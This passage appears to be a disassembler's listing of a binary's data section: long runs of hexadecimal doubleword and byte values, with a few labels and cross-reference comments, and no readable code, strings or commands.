dd 0E40723E5h, 0AD754A00h, 5F781E6Eh, 67580505h, 844D120Fh
dd 8074F86Ch, 44C5E94Bh, 0E6730465h, 0C42C5CD2h, 0C498ED70h
dd 0E445DD10h, 2510A2BCh, 0F11C4299h, 20470014h, 5DDA7B98h
dd 0A300F377h, 7093A65Eh, 0E662BC0Fh, 0DCDF04CEh, 0A8E02433h
dd 945BC834h, 0E603CC2Ah, 0D6F98DA9h, 848042Ah, 85DE2907h
dd 7806225Dh, 55D4A388h, 0FFC0B410h, 18E9C47Ah, 0CE8500D6h
dd 378C6BB2h, 5BE0B83Bh, 3C82D001h, 2C982A8Ah, 500A0195h
dd 0EB7DEDE5h, 7302C0CCh, 8420D54Eh, 0F8397D2h, 63AF12Ch
dd 92DF6F00h, 570EB8FAh, 0E06CAFF4h, 80A5144Fh, 4CB000B3h
dd 0FCAD0284h, 2F01C30Ah, 505308EBh, 0ACF31568h, 0F270FCF9h
dd 54CD05ACh, 0FCB3E508h, 377C82C8h, 80D8FC18h, 0EA8CE14h
dd 7F7E4388h, 0B8021EF2h, 0CBB77486h, 78A080CDh, 24EF0E6Fh
dd 20B8F9FEh, 1A49E08h, 33075FE9h, 80CC7DD3h, 8C46181h
dd 1754909Dh, 2859837Bh, 7640BB30h, 4468982Bh, 6A1CCDD7h
dd 6F929957h, 14E5B420h, 98F74ADh, 7475C60Ah, 5602E4E4h
dd 399AEBC3h, 44BC5890h, 0FF018E36h, 0D7809E7Dh, 8780EEAh
dd 181C8610h, 0E8293EBFh, 0D5D005Bh, 0B8164917h, 6200CD0Eh
dd 0E776578Ah, 0B47E85D1h, 72B31290h, 4CD97768h, 5B07FB00h
dd 1E764AC2h, 81458563h, 0F213DD33h, 2F388296h, 0C02942BCh
dd 5F7C44h, 0AF12D902h, 5598DF8Ah, 0E9002C99h, 8FD6B55Ah
dd 12E003Dh, 2CEAC2B3h, 0C016CFEEh, 0C04082CAh, 598B4616h
dd 0AC60030h, 91E433CDh, 780E5812h, 27FEE9h, 87945B4Bh
dd 7FCA12C6h, 0ACCD037h, 0BC012C97h, 40582096h, 840BF0Bh
dd 0DC7487h, 3CD2CB8Bh, 806AAF54h, 0FF12A600h, 72AEE86Ch
dd 0CD500E7h, 89C611DAh, 0E95A71DFh, 8A5DCC40h, 7218C865h
dd 0EB138EDh, 6FFEB300h, 0D0453229h, 0A80B4C03h, 0D0DCD864h
dd 4471D28Ah, 0C47D67E8h, 7DFBB71Dh, 0C320BCCEh, 8014E6FAh
dd 2D0C627h, 36E7D876h, 0F8D62928h, 0E072CE4Eh, 486DDAC7h
dd 55010016h, 0F706A52Ch, 7744AB0h, 3F357424h, 6398D805h
dd 3D3DFCE9h, 0A2378517h, 63CE8h, 1B058CB6h, 2D68B43Eh
dd 3441A84Bh, 0BC230864h, 42D0E2DCh, 7F09FF18h, 5B8EFC8Bh
dd 35809116h, 7DF43D17h, 0ED21B00h, 0C3B7B577h, 634A1D36h
dd 45CE1DA7h, 0B8E3FEDAh, 797D8C44h, 76023F26h, 0AD8BB780h
dd 0E1D64D8Eh, 70AFFA02h, 40A5E55Bh, 0E034BF43h, 7C250073h
dd 2056BD8Fh, 0C93892E4h, 0B5530361h, 0E0D3DB7Eh, 4F95E18h
dd 52082EB2h, 43B4802Fh, 7417C899h, 17BEEBh, 0D7B42460h
dd 31600F2Ch, 9EC0864Eh, 4BE83B49h, 87F0F219h, 0A8715EA8h
dd 6810203Eh, 40E1A63h, 0A2C787F2h, 0E6ABC93Eh, 20305B7Ch
dd 91E33790h, 0F42D1401h, 603DDECCh, 3C797DCh, 7F7156DFh
dd 309C4BBDh, 7A538Eh, 1ED70279h, 292107ACh, 0ED8CF713h
dd 25DB6800h, 0F0D0E7h, 0DE387E27h, 0BACE813Ch, 80879600h
dd 0A3E2F54h, 0BC919F9Bh, 0B4AF1037h, 6B1D0086h, 0BA8C0FE7h
dd 2809EB5Eh, 80DC67E2h
db 1Dh, 7, 7Ah
byte_544843 db 30h ; DATA XREF: ___:00444C04o
dd 0B000B78Ah, 3B93A109h, 1C16EA7Eh, 0C0BD937h, 857C19E2h
dd 0CC0AC517h, 9A09F260h, 803E7298h, 0F443E0BCh, 29FE2EE8h
dd 2808201Ch, 141A56h, 0A9A10ADFh, 9011325Dh, 80B470B0h
dd 0C8E02944h, 8E4304B1h, 5A9EB5E4h, 6204C0A8h, 1DC9172h
dd 2C7B7612h, 609DFC1Eh, 200A579h, 815E7857h, 13015610h
dd 0B336E530h, 5F99137Ch, 0EADFB830h, 50ED09E4h, 486680EBh
dd 0F855E909h, 84F90Ch, 84D081A3h, 0D6031730h, 0C1D79D64h
dd 0F937B2EAh, 0B8CA1Ch, 0B66C92DEh, 0EF00F934h, 1C568F64h
dd 3C711Ah, 337408A4h, 35E45530h, 0D55CAF07h, 7D019528h
dd 461DC9Ah, 0F214443Bh, 4EFC052h, 0E41CF10Ch, 6D000ACCh
dd 0C4D974E9h, 82123D96h, 7EB09902h, 0CBC08D77h, 8F5E35E5h
dd 73370020h, 4AFF005Bh, 0D10FDB42h, 0C050596Eh, 1A0B0EB2h
dd 0C15690h, 85D7B95Ch, 0B03B07EAh, 0E01B4D59h, 0D9F144DFh
dd 0BEC57C08h, 9EFA8038h, 0E699D3CBh, 9562D3Eh, 71364CE0h
dd 1AAA0064h, 0D46678B1h, 118F4800h, 0D10D2454h, 0D9FC000Ah
dd 0F567495h, 3D10EA81h, 1849B51Fh, 25BDE41Dh, 0F96AACB8h
dd 9945400h, 88E51226h, 0B69CA10Ch, 3CB943F0h, 0D13A2DEFh
dd 10448F18h, 0E525FED6h, 1D9479E3h, 0E2644079h, 19E8056Eh
dd 0DD3BD17Ch, 0CC91AE8Fh, 3D144811h, 0C897A00Ch, 3A7DED30h
dd 0C45D9F00h, 6937E42h, 0C86200E3h, 0E54CBBF3h, 8B4103B2h
dd 0B323B457h, 9BF6A06Dh, 0FA1102EAh, 30480D8Eh, 0DCE73500h
dd 6C4500F7h, 3E97C5E0h, 34BA5203h, 495A9827h, 256F8ED8h
dd 382E8030h, 0DE019A8Ah, 592645AFh, 6090F80Ch, 0A17D22F9h
dd 68128CE4h, 1900B0D2h, 0C439DF3Ah, 3EFFD463h, 0A42E12EFh
dd 0B2E11778h, 0A6420538h, 8420670Ah, 117DF0h, 124BFFE2h
dd 0E3743AD7h, 7701F600h, 0C9169C2Fh, 0CD18A892h, 2620097h
dd 1796B3A7h, 0DF001046h, 4FE7A02Fh, 8D52C7h, 36E2D80Eh
dd 0D4B7BC95h, 0E0043E17h, 644C948Bh, 987D821h, 0EEAB608Ch
dd 7BFF13FCh, 1CA7B4h, 36D866FDh, 98063B97h, 9E080068h
dd 99FE0F9h, 71E95FC0h, 0FC3D53h, 71F23A95h, 0A029BB90h
dd 0B68AEEECh, 0BDB91B8h, 0C1D78235h, 2B3E8B58h, 94B810B0h
dd 95839A88h, 0F3E2C078h, 0ECCB81F2h, 0EB9320h, 473AB010h
dd 84F692DFh, 8707873Ch, 2CDB516Ch, 185EDAE1h, 2D8C8864h
dd 0DCA0737Bh, 0E188FC9Dh, 83000BE6h, 0DEBA6649h, 47BA96Ch
dd 18C7B891h, 0A3549435h, 201F0068h, 0EDCD7D40h, 7CE006Dh
dd 60A19DFAh, 1900FE96h, 4FFF3306h, 488E907Bh, 0C2968C0Eh
dd 0A208AC4h, 26D24ADh, 0B0900613h, 0C064BF52h, 0CD9D0D01h
dd 28B3D6B7h, 801CDEF2h, 0E9FF80D2h, 830096D7h, 0DF32B4E5h
dd 4C40ED2Bh, 709E07h, 8B6E2958h, 760DCCFCh, 1DA7601Ch
dd 0EEEC5000h, 4FF4FD8h, 0BF85DD1Fh, 3ACCA2E2h, 67D09343h
dd 0F3E9CE4h, 4FE9F6D3h, 32373620h, 0EA1D7343h, 9C1E74F0h
dd 0D880241Eh, 0D353980Ah, 881205ECh, 0C893DFE0h, 0F0B884C8h
dd 6F1890B5h, 6845001Fh, 0F3831B2h, 0E1005605h, 1AEEC765h
dd 912A0EDh, 0E51889DFh, 0EC01CC4Ah, 0EC3F8387h, 0A0A43D85h
dd 0B6C3B201h, 0B022E874h, 79D802D0h, 0BB0A01DBh, 0F93DBF3Bh
dd 0CF4FC073h, 86DAEE00h, 0E9DC185Fh, 0C87F5ACEh, 4C009E8Ch
dd 1FA86C22h, 176AF503h, 4307295h, 0F2A118D8h, 0BD72278h
dd 0D9E785CEh, 5ADD1B87h, 41CF00B4h, 0D70C7C73h, 0BF75021Fh
dd 4530C440h, 0A0205EE2h, 4D3C9B8h, 8034D9DFh, 904380D2h
dd 0D4BE170Ah, 208D0762h, 0E02760EFh, 0F89F0E24h, 0D4DC9D13h
dd 66523FC5h, 5C1B4402h, 20798B13h, 0A8B227h, 0F29A47F0h
dd 54F15CE0h, 0D204A892h, 5D26C442h, 1F0CF9A2h, 15628175h
dd 637446ACh, 20B006Ch, 4BB22A71h, 27DE02F6h, 3E36E4DDh
dd 0C5E6462h, 50947C49h, 7A07BABFh, 0C4450BE8h, 36B6AD80h
dd 57E20E69h, 0BAE2411Ah, 5CC62B98h, 0F3DEC8C2h, 3158A3EFh
dd 0B985E3E5h, 88490F8Eh, 0E26D1460h, 141F5861h, 47429820h
dd 83F5B11h, 93940D3Dh, 60542072h, 0DF0053AEh, 11D28124h
dd 0B59B799h, 0D9025DE5h, 52443404h, 198094ECh, 0DD22279Ah
dd 4C03B800h, 21373F5Ah, 0E65E013Bh, 0D83ED03Ah, 557070EEh
dd 9B92400h, 5F75AFCBh, 0FFF400D4h, 6A4FCC7Eh, 3BFFE4E3h
dd 84B33038h, 386810BDh, 63D9C5D9h, 9A808C48h, 880288h
dd 0F17D904Bh, 9B3A5422h, 0F015FD00h, 14E1849Eh, 40DC98A4h
dd 588AA972h, 272F4460h, 574892BDh, 3681DCA0h, 81C0CE7h
dd 7901AD56h, 98CD80B4h, 16416BF0h, 27325999h, 0CB4B0090h
dd 0A1010AA4h, 4778458Dh, 206A8FF2h, 9DA7C058h, 0FDE80100h
dd 7A8B649Fh, 0EA2900F8h, 79F5B478h, 4A626B1Dh, 2E7F0658h
dd 0BBCD4024h, 2F145402h, 53D0CCE0h, 9521F4F2h, 7100DC11h
dd 9C60CED8h, 409DBB82h, 888A293Ch, 855CBF09h, 0D2B8C704h
dd 0E95BF920h, 20F65C95h, 0C32F1220h, 0E8EC31h, 7C4D7EE7h
dd 0CEAA702Ah, 54BC3900h, 88AD6C3Ch, 0C0B326E5h, 0AADB446Ch
dd 0D7144C61h, 0F078000Bh, 51348027h, 0A7E60788h, 1F4F2F73h
dd 102D9Dh, 200B4E8h, 2A214B0Bh, 281A2E2h, 64C27885h, 0D0C42839h
dd 0DC40B550h, 0E2A18F05h, 8EC01E08h, 0EF0A881h, 9CC8C61h
dd 9EE37C00h, 2A03F214h, 6C8BB0ECh, 3373A0E5h, 824F5BB8h
dd 987E0518h, 5000E997h, 90454A38h, 182A4868h, 0A5E45F85h
dd 30C4F220h, 6013DA07h, 3FE0B35Ah, 3AD5394h, 0B603C60Ah
dd 96C87451h, 1602EE05h, 701BBC73h
db 0DDh
byte_544E45 db 68h, 64h, 69h ; DATA XREF: ___:00444C5Co
dd 40789435h, 4842B283h, 5021A201h, 475798E0h, 0A5E09C3Ah
dd 88705300h, 0AB4630ADh, 6FA49h, 0F218D8ACh, 20D1E28Ah
dd 10522E2Eh, 0A8C04567h, 921BC3Ch, 689AF77Ah, 81AA6D00h
dd 0C2D3E4Eh, 0A7CA297h, 0E250748Eh, 66124D5Ah, 0A4B200ACh
dd 27DC0834h, 850001BCh, 996EEE33h, 3CD7B3FAh, 8180BD3Ch
dd 0E08928E3h, 0C9BE54Ch, 3CF21613h, 8408B2D3h, 20E8BF0Ah
dd 40768B89h, 8F340449h, 0B8A252h, 0CD665ED9h, 7535084Ah
dd 8A670909h, 24D242D0h, 7E1FD612h, 77E800EAh, 0AE805B13h
dd 4E8E095h, 7C81898Bh, 58E110FCh, 0EC2B8206h, 800B719Bh
dd 715B6177h, 93115Ch, 0B0520FAAh, 2C7A48Fh, 0EC62DF13h
dd 0E0F69EC4h, 0A8E10908h, 8A02223Ch, 0F5949800h, 34CF36E0h
dd 738D0022h, 0F9CD82A9h, 4800D652h, 41D3279h, 0FADE26FFh
dd 88B74AE5h, 808514C8h, 0F9DC5297h, 730085C0h, 0ADFDAC4h
dd 257A26C1h, 0A8511D44h, 0CB76E700h, 0F24F7EDAh, 0DBFAF1h
dd 0A58B6536h, 0A1954A8Eh, 0E08DEE01h, 91A89316h, 2C269840h
dd 0FADB007Fh, 321B27F2h, 0F900ADC3h, 49563C83h, 2FB2C4CDh
dd 60048CBDh, 0B078C108h, 84F44F90h, 948CDACAh, 0DDB600C0h
dd 811ACFEDh, 372E470Ch, 0D1023C55h, 209268DCh, 4E4FD89Fh
dd 0E7419700h, 7170B6D6h, 0E27C5Eh, 27B1A372h, 9CCB22E9h
dd 0D3C16D00h, 8CB72156h, 809402EDh, 2A283059h, 0C03A8D9h
dd 0F8336C03h, 73CD5057h, 72C2FA38h, 0FD1001A3h, 2B120D46h
dd 0DF1C2061h, 27155E38h, 4320E450h, 54BE20F5h, 3E88307Bh
dd 0EC1C3EABh, 0CF80BD0Dh, 0B9D6FB58h, 0CB797978h, 0A306AF0Bh
dd 4C4498h, 6A38C6B1h, 0CECF0945h, 0B6306500h, 28013D8Dh
dd 0EFC9010Fh, 6A087F4Ah, 2A6829DBh, 8E41445Bh, 0CE4922Ah
dd 328034C5h, 0BEA345ECh, 270C020Ah, 9165CAA2h, 0C440D4F4h
dd 0D802EAh, 0FC7C120Fh, 0EDBA534h, 25D3510Fh, 890A2118h
dd 0D4238FA9h, 20A84901h, 61CCE1F8h, 0D8AAFC2Fh, 0C0A8E26h
dd 4A72E070h, 6150E1DDh, 7883C9D0h, 0BCFE8F98h, 0A2543A80h
dd 0E804B53h, 0AC904ED3h, 0F336DDE7h, 0BFF44702h, 0F8F08016h
dd 14C18AB6h, 2C51737h, 1BC0498h, 15752204h, 39589886h
dd 78261D50h, 9CC8A617h, 0ECD301F2h, 0B7566593h, 3112BEE4h
dd 99D130AEh, 3B576888h, 2F900D42h, 54905F8Bh, 9097342Dh
dd 8445622Ch, 259044h, 3BE4E608h, 0CAFA2AC2h, 0CB0FE900h
dd 286103C7h, 6B883992h, 3CF89725h, 644284B0h, 368CC34Eh
dd 0D60982FFh, 6E0C985Dh, 6798005Ch, 0CEE36C26h, 2F123FB1h
dd 18C8118Eh, 180B503Eh, 8A2807E9h, 90AD0AE5h, 0E4D4EAA9h
dd 90B3387Ah, 0A50B4980h, 0EED31D9Fh, 43501DC5h, 60970148h
dd 0C03F39FCh, 895230A4h, 0B4B715Ch, 918034A2h, 0D615FCA9h
dd 9B32E104h, 8EBBDECh, 3A81845Ch, 0B0EA71E4h, 8836BEC8h
dd 0CA77CDE5h, 0A5B4F503h, 13FF2F3Dh, 0E92318h, 82D624C4h
dd 7E3D9031h, 2837A63Fh, 852ECA09h, 0C802EDABh, 79BBE4E9h
dd 531E47B0h, 0F9A3E7B0h, 25E9FCD8h, 340AA89Eh, 26B8B6h
dd 0BD1B003Bh, 63177B36h, 0C2164E77h, 38C60CC4h, 1448E00h
dd 368FCAD3h, 0C4CCB6B7h, 81E02718h, 22F2439h, 0C00A9CF8h
dd 37406AB8h, 0E45F5058h, 0E4E7B44Fh, 0FCA8CDFCh, 0B03C5200h
dd 90490C76h, 0E145B490h, 4F382083h, 748094DCh, 0E006A0BAh
dd 54FB930Ch, 0D80C2A8h, 5002F6Dh, 2524F36h, 81F4781Dh
dd 0BA8CEC63h, 3F120CE0h, 0B402C54Ch, 8F38BC62h, 58AA80D2h
dd 841859h, 4ABA7A7Ch, 0FD999317h, 0BBDD6F02h, 40A7350Ch
dd 9041B4h, 13AB185h, 0D87340FEh, 59005F7Ch, 8E46B29Eh
dd 0C275A41Eh, 71E1EA40h, 700C7709h, 63301640h, 4E591923h
dd 31BF7F0Dh, 89A82E72h, 51171048h, 0EB8D80F4h, 4B86F907h
dd 0BF324E5Ah, 0A552C031h, 510203F7h, 7FF477DAh, 44734039h
dd 0EF74283Fh, 0C8AC4374h, 55CB045Ah, 361E5F71h, 951A1EA0h
dd 9447B894h, 0B4A04ED8h, 0D4808463h, 3701FF80h, 0DCA40AE0h
dd 8FE01038h, 0DAF0CFh, 9190A552h, 93DFD79Fh, 45865500h
dd 0E86F5846h, 7C849FCAh, 4A8902DCh, 9B906038h, 0A25F4030h
dd 28D99800h, 0E7423FBAh, 0B45E8032h, 0C4185Bh, 0EB9F04C0h
dd 0D4910B61h, 9482DA02h, 0A85644ECh, 0E2FD7F0Eh, 9C41D27Eh
dd 0E8402320h, 8613E82Ch, 0CD0754CAh, 0A7F0778Fh, 25EBB0A9h
dd 0E8E03D85h, 8AC29D00h, 0E7835349h, 0F55C002Dh, 0DF72449Bh
dd 0B0009E14h, 96E4516Dh, 0ACDEA8Ah, 3A460CBCh, 6D026C0h
dd 9089A0C4h, 6312DE09h, 5740A144h, 16AEF34h, 785B500Ch
dd 3A188C9Fh, 1B98A0E9h
dword_545350 dd 0D9BDD97Fh, 4CD74EC0h, 0F12E4Eh, 998AFF5h, 0CF6E214Ah
; DATA XREF: ___:off_4444ECo
dd 0F53D4C03h, 0C8F1B262h, 7001D35Dh, 304B13Eh, 9AC06B14h
dd 0B218177h, 0A1F408D6h, 0D50B8822h, 200B1CB7h, 48B8814h
dd 9820D985h, 4CE819DFh, 0F3B82334h, 74394511h, 0C8162060h
dd 0AF02CA94h, 0C4D4AB46h, 0EC8C7D10h, 175E2BF0h, 0E79FD890h
dd 88D2D98h, 0CE8368E3h, 248C085Dh, 350355C5h, 0EF44F4EBh
dd 0E34F6E60h, 87B2CFFh, 11502684h, 3FB900D8h, 15B6CA75h
dd 0BCEF1EE6h, 9881C0EAh, 0DC19712Ah, 0F0C9E300h, 1290ED44h
dd 0B0E50010h, 29D44CDEh, 0C5071C37h, 9883DD17h, 0D5E30320h
dd 608B3CE6h, 0A30B9980h, 0B5DDCE1Dh, 0B939B300h, 9FDFD8C1h
dd 24121E48h, 3109C0E3h, 4EA09C32h, 6D21E00h, 7680A17Ah
dd 7A90066h, 602EE2EDh, 33004F84h, 14FD6515h, 4DFC28h
dd 7BD58E50h, 9A1A6139h, 0D30762F6h, 36D23C90h, 4CAC7316h
dd 0A8030D01h, 7F86EB9Bh, 5D8D4DD0h, 9EAF800h, 90F230DEh
dd 7CD30FADh, 391BB6F7h, 0BCBC49D1h, 0A2CE0020h, 82369928h
dd 6ABD01FDh, 0BFA659D1h, 0ED2C05Fh, 1BEFCF01h, 0EC67DA3Bh
dd 9BF16081h, 0E3443150h, 533EC990h, 0EF18B765h, 0E36D0C83h
dd 0B419C077h, 769303DDh, 80FF8CF3h, 64CAD7F0h, 503FCB31h
dd 8980B74Ah, 547A4FDCh, 3E0303C5h, 0B4278AF3h, 2F5D9048h
dd 1F56038Fh, 0BF356830h, 0BDEDC900h, 383EE16Dh, 49D6674Ah
dd 0C0D487F1h, 0C2AAE7B5h, 2D229900h, 0FBDA4E72h, 530500BAh
dd 69D94D93h, 90067102h, 0AEE619D7h, 0E9AC0060h, 27CD8F55h
dd 20E7A1Bh, 0A09229EAh, 1E63ED1Ch, 58790E6Ah, 8A4001C1h
dd 20E781D4h, 0DA44090Eh, 6D313814h, 4B423AA6h, 0FD00ADBEh
dd 2F5EE9D7h, 900FCEFh, 0BD1C9A99h, 6C6B4Ch
db 38h
byte_545541 db 8Fh, 60h, 0A6h ; DATA XREF: ___:004447A8o
dd 76AD4581h, 14F2EF7Eh, 1071CF00h, 1FD626Bh, 0E9293FA3h
dd 0D760F533h, 15B339B8h, 0BAE1EB00h, 36A0B061h, 21796108h
dd 0D4EF91E9h, 7A01B5DAh, 175EFEE3h, 80BE193Fh, 12F5B20Fh
dd 9A0C2C2Eh, 8F002930h, 64DE83Dh, 0F4569DFAh, 5080008Ah
dd 5AF2B7C3h, 87181294h, 0A610C4ECh, 750F017Bh, 0C9F6AEA4h
dd 8C8EB821h, 50FE16DAh, 6F081B92h, 80109123h, 6073EA33h
dd 0A97FA920h, 0C10AF59Ch, 0A00419D9h, 21F9B1B9h, 6AD903D0h
dd 243FF5F0h, 1E28AF8Bh, 7A164FB3h, 912A4E60h, 0E50F54D7h
dd 4778DE8Fh, 0E2709769h, 3E6D23Ah, 8DF2C3BEh, 26005015h
dd 4B9E6717h, 0CD93E8Bh, 1EEB08E8h, 8590F319h, 0EC1D9B03h
dd 0C8416494h, 0E3E8892h, 0BD2D17E4h, 364710A0h, 0CF00EF29h
dd 65895798h, 0C028E60Ch, 4E927118h, 0F0FC8BEh, 36E3166h
dd 0C0C55963h, 3D654DF2h, 6A8C4FD9h, 8A586726h, 72E3EB1Ch
dd 0B53F807Dh, 0FB9238Bh, 3AC1F077h, 28E093ACh, 19611B8Ch
dd 0DCB718C1h, 998E6F5Dh, 0A2C3DD5Ah, 681E8A87h, 0A4C0BCF4h
dd 46E33649h, 4A0C3BF2h, 1967A063h, 356A6F90h, 0EC5181C3h
dd 45896A8h, 25634DAAh, 411C03B4h, 0F5180013h, 1AE66F69h
dd 370318ECh, 87F26AB8h, 568CC01Eh, 6E2305C1h, 0C1FBD76h
dd 0CB903EA4h, 83086042h, 4414B89h, 65002D6Eh, 7050EB50h
dd 0F661EAC0h, 69D1B50h, 0CB10744Fh, 0FAC8E160h, 9732C040h
dd 0F00F06CDh, 682526BCh, 0F1C120F0h, 2970B357h, 453A9BCh
dd 0B23019E8h, 0F4C1012h, 0EC1509D0h, 1956336Eh, 4ECACF03h
dd 0A719C86Fh, 3E5E06FFh, 29D1604Dh, 661F20h, 85919BB5h
dd 10062926h, 7DAD9C00h, 0EFFB1299h, 867E66h, 137AEE68h
dd 140835Bh, 0B70CD300h, 2F96498Bh, 5FC2000Fh, 0BF285AA4h
dd 1D00C19Bh, 74408845h, 1E789261h, 0E4BB16Dh, 0DDA0D52Bh
dd 4D5FB37Fh, 0BD06DB00h, 8A17F581h, 0E9CE0071h, 4C13A809h
dd 49E2B7D8h, 0B923D00h, 2F3C5054h, 441C00BEh, 86314DEh
dd 4000BBD9h, 0F26F2E60h, 568EE8Ch, 607AA3Bh, 0EB94036Ah
dd 0C6E0522Ch, 7F0028B1h, 1DB2980Ch, 25FC733h, 0C092F48Eh
dd 0BEC03060h, 0CD001708h, 7293E0Dh, 0FB1BB5h, 5B9DFEDDh
dd 18B9D03Ch, 530B3303h, 0F8E72146h, 0EE8A3B1Dh, 325E0009h
dd 7C92BF89h, 0F7008F72h, 9E37F3F4h, 7B63E9A7h, 7D6A0079h
dd 7614B63Bh, 0ED0592A9h, 154A015Ah, 0DA2E0EC1h, 94967680h
dd 6C0A5113h, 4B011C00h, 0DE0CD756h, 6D57008Ah, 0F892A595h
dd 6A09BA1Dh, 0E85A25h, 86308B08h, 0A2DC05DDh, 85635311h
dd 8C4483EFh, 6893DFBh, 0B57C60EFh, 0FEDFFB03h, 0FD564489h
dd 13CC87C0h, 43550079h, 0A42FED5Bh, 20077C67h, 0E9C46039h
dd 0ED0F740h, 377800B5h, 0F0595ECBh, 93003863h, 9D94C5ABh
dd 5B2E99h, 8B258866h, 0C8F47C8h, 16B75200h, 1B449A85h
dd 66E289h, 0C3E99E9Ch, 2E8E34FAh, 0AF1C8800h, 9945333Ah
dd 1FC61264h, 5740040h, 7774E10Ch, 0C0565900h, 48CCDDEBh
dd 406A0563h, 0C0F4D5D6h, 0ABC2CB10h, 6D917300h, 0BC06FD23h
dd 80460099h, 0F3D0123Fh, 0AF1278CAh, 504791EBh, 37C0C5B0h
dd 7DD5AEh, 32C2FE01h, 51052385h, 0FB93B900h, 30F6C96Dh
dd 40AD0781h, 0D0F07ADFh, 50267506h, 0F2485C60h, 6E57241Dh
dd 0E0C01104h, 3E7DA4D3h, 5902B600h, 79BAB7D9h, 1E96FEC8h
dd 47AB44Fh, 8016A364h, 0AC2C4BE0h, 8F6AF20Fh, 8EB34908h
dd 0ECCF1D92h, 1F9F4A5h, 2F1712Fh, 0E6EC6C78h, 0BB553DD1h
dd 4593C181h, 0C9065D0Ah, 0BFE0C7C2h, 0B9FC8935h, 278E791Fh
dd 7DACBE40h, 6067AAD8h, 0C012056h, 3B004DAh, 14A44300h
dd 7602B30Eh, 7FD10069h, 90C081B2h, 8404478Eh, 1A6CBA43h
dd 517040D7h, 0BBB701h, 9D7C365Dh, 5A0FC4A5h, 6A1F900h
dd 8094FDCEh, 96D00D3h, 887DCF73h, 620091EEh, 0C2F24B57h
dd 12A7B6h, 1C4F447h, 4284D050h, 0B0AB68C5h, 51438C5Eh
dd 0F8DC3853h, 6FBE24h, 31AB63EAh, 920FD2C5h, 6A33A800h
dd 0CD9107F3h, 0EDEA0050h, 0B97F9834h, 2E009E20h, 61F4F817h
dd 42BE26h, 0E0847C3h, 930AD3C8h, 8046A03Fh, 0AF54246Bh
dd 1FD20C1Ch, 0AC39782Fh, 8C700044h, 0EE79551Eh, 1807C000h
dd 293CC964h, 1ED6723Ah, 0C05FF74Ch, 1AEE15A2h, 0EA00FEC5h
dd 0AEC89280h, 883FBFh, 792DB957h, 0EBBB3B86h, 0AAC1200h
dd 0DF44716Fh, 0A9031726h, 8D840359h, 80F07C69h, 30095468h
dd 209C5CCDh, 65888984h, 14FA00F1h, 5A707BDAh, 0E671C551h
dd 0E5EFC375h, 3E4EF43Ch, 14EF2F00h, 8B79A6EAh, 0C21C0037h
dd 4C96BB03h, 0FC044778h, 1AD6702Bh, 55413402h, 53B2D468h
dd 0C10D7B1Fh, 0F2810BC0h, 236C9Fh, 494D89D2h, 2A92A2F9h
dd 0C633803h, 80905D85h, 3F5B53h, 0D6E9585Fh, 488C5CB7h
dd 1DBEFA00h, 653441EBh, 2785002Eh, 8B2B5280h, 933BB79Dh
dd 59210768h, 95107FA0h, 39CC2E9Fh, 0A41D206Fh, 9209805Bh
dd 2D4C6897h, 39482F77h, 305F2412h, 50EC100h, 981AB9Fh
dd 4C7BCD95h, 0A94E3400h, 0FE009396h, 0DC131FDFh, 16735190h
dd 81D90550h, 60668DB0h, 2D007010h, 0BAFB0EE8h, 763A4607h
dd 7941007Eh, 0C8EE552Eh, 3239AAB0h, 9C951369h, 83777400h
dd 8F1412h, 0F0A2F830h, 411FB75Eh, 16A8DF12h, 838B3840h
dd 19E9869h, 0C8FC430Dh, 0DDAB49B2h, 41CED9h, 0E251C022h
dd 5504A900h, 58BCEFDFh, 30370053h, 8D9DAFD0h, 0F4E10BB4h
dd 5E376E12h, 42905A4Dh, 7282CF05h, 4A1400CBh, 96890EBFh
dd 8D001748h, 0F591707Ah, 5D6DD24h, 32379A1h, 0D41CD078h
dd 630090EAh, 0BDAB3555h, 0D1E329h, 5DBF3F39h, 28931FE0h
dd 0BBEA8E00h, 1A487185h, 0A9CF00E5h, 8B0467Ch, 0F00A6DAh
dd 0EE073D6Ah, 38629BCAh, 0C2002752h, 20608731h, 0D417E494h
dd 58417A4Dh, 3B5A6A8Eh, 30C04CD0h, 941913ABh, 6B073D54h
dd 6EA18B23h, 0CF9582CEh, 6DD083E8h, 4405E03Bh, 56903B16h
dd 98E35983h, 4D9837A6h, 0C52EEF43h, 0F01FF055h, 6896098Ch
dd 78549AE9h, 3D522E3Fh, 0B99F98h, 989E833h, 84007190h
dd 35A98855h, 6EE465h, 0D6D9F0B7h, 0C233193Eh, 54A1C07Eh
dd 10604E8Ch, 0CE813A2Ch, 0F1467B09h, 8F13E0B8h, 0D1B79F0Ah
dd 0FD0798CDh, 0EAE076E3h, 45EB8Ch, 0DA25B4AEh, 4DC4E03Ch
dd 0CCF6AC00h, 0F06EF7AAh, 0D040BD0Bh, 11006C85h, 0E22098F2h
dd 3CC073CFh, 0D000075Ch, 1A2F2CCAh, 6E019B02h, 5C1D8E9h
dd 0A6EC4C34h, 0E8F800B8h, 9FECC49h, 3A1C505Ah, 0B343F411h
dd 90364EE9h, 0BA15BE17h, 43E0020h, 6E9F29F8h, 39198A9Bh
dd 108D365h, 0C02B2180h, 0AD180329h, 5001CFE4h, 0AFABDA37h
dd 3024726Eh, 908C77DCh, 4B752Eh, 3DD5CB0Fh, 0FD6CF38Eh
dd 0B900777Eh, 1E7DA6A2h, 30042EECh, 0F7181619h, 8640CE69h
dd 0DCD750B3h, 0A83A4E8Dh, 188936D2h, 14EDF889h, 0C4CDB066h
dd 0FAC13783h, 59BA8EE8h, 0AA96E919h, 21803D08h, 55FAB8D5h
dd 560FA12Ah, 8FE00FD4h, 1D90409Ah, 49F008ECh, 0F306143Bh
dd 70844A79h, 8635DDF9h, 15666F19h, 0A2A73A51h, 0B1867A18h
dd 0D307568Dh, 0D8FC18E5h, 7F3D02Ch, 8E5B6CA4h, 0B015A007h
dd 47487CF2h, 0C2A100F9h, 1EAF4833h, 0AC60093h, 0E04B6495h
dd 0F90069EAh, 0D8F2985h, 305A6E71h, 9FFCF107h, 10007C9Ch
dd 334A448Eh, 516D41h
dd 0F2F77FB8h, 192C1583h, 0CA188C0Dh, 22CCC225h, 6D111A93h
dd 4173045h, 1D1F0A41h, 36191080h, 44401015h, 8921B90Fh
dd 12DFBF6Eh, 0C30A00FDh, 18F88D1Ah, 29146223h, 7027220Dh
dd 1B178868h, 900F8F88h, 83E8421h, 484EEB48h, 3CF5940Ch
dd 280AB211h, 32214FFh, 2549220Bh, 5389C67Ah, 9441008h
dd 4D22845Dh, 98274406h, 4BFF6D00h, 0D2CBFAEBh, 44436F78h
dd 0ACE1D041h, 353520CAh, 8767D739h, 0BCD30D49h, 875D9B20h
dd 524711Dh, 0B070A310h, 4BEAC069h, 611FE553h, 5C005A91h
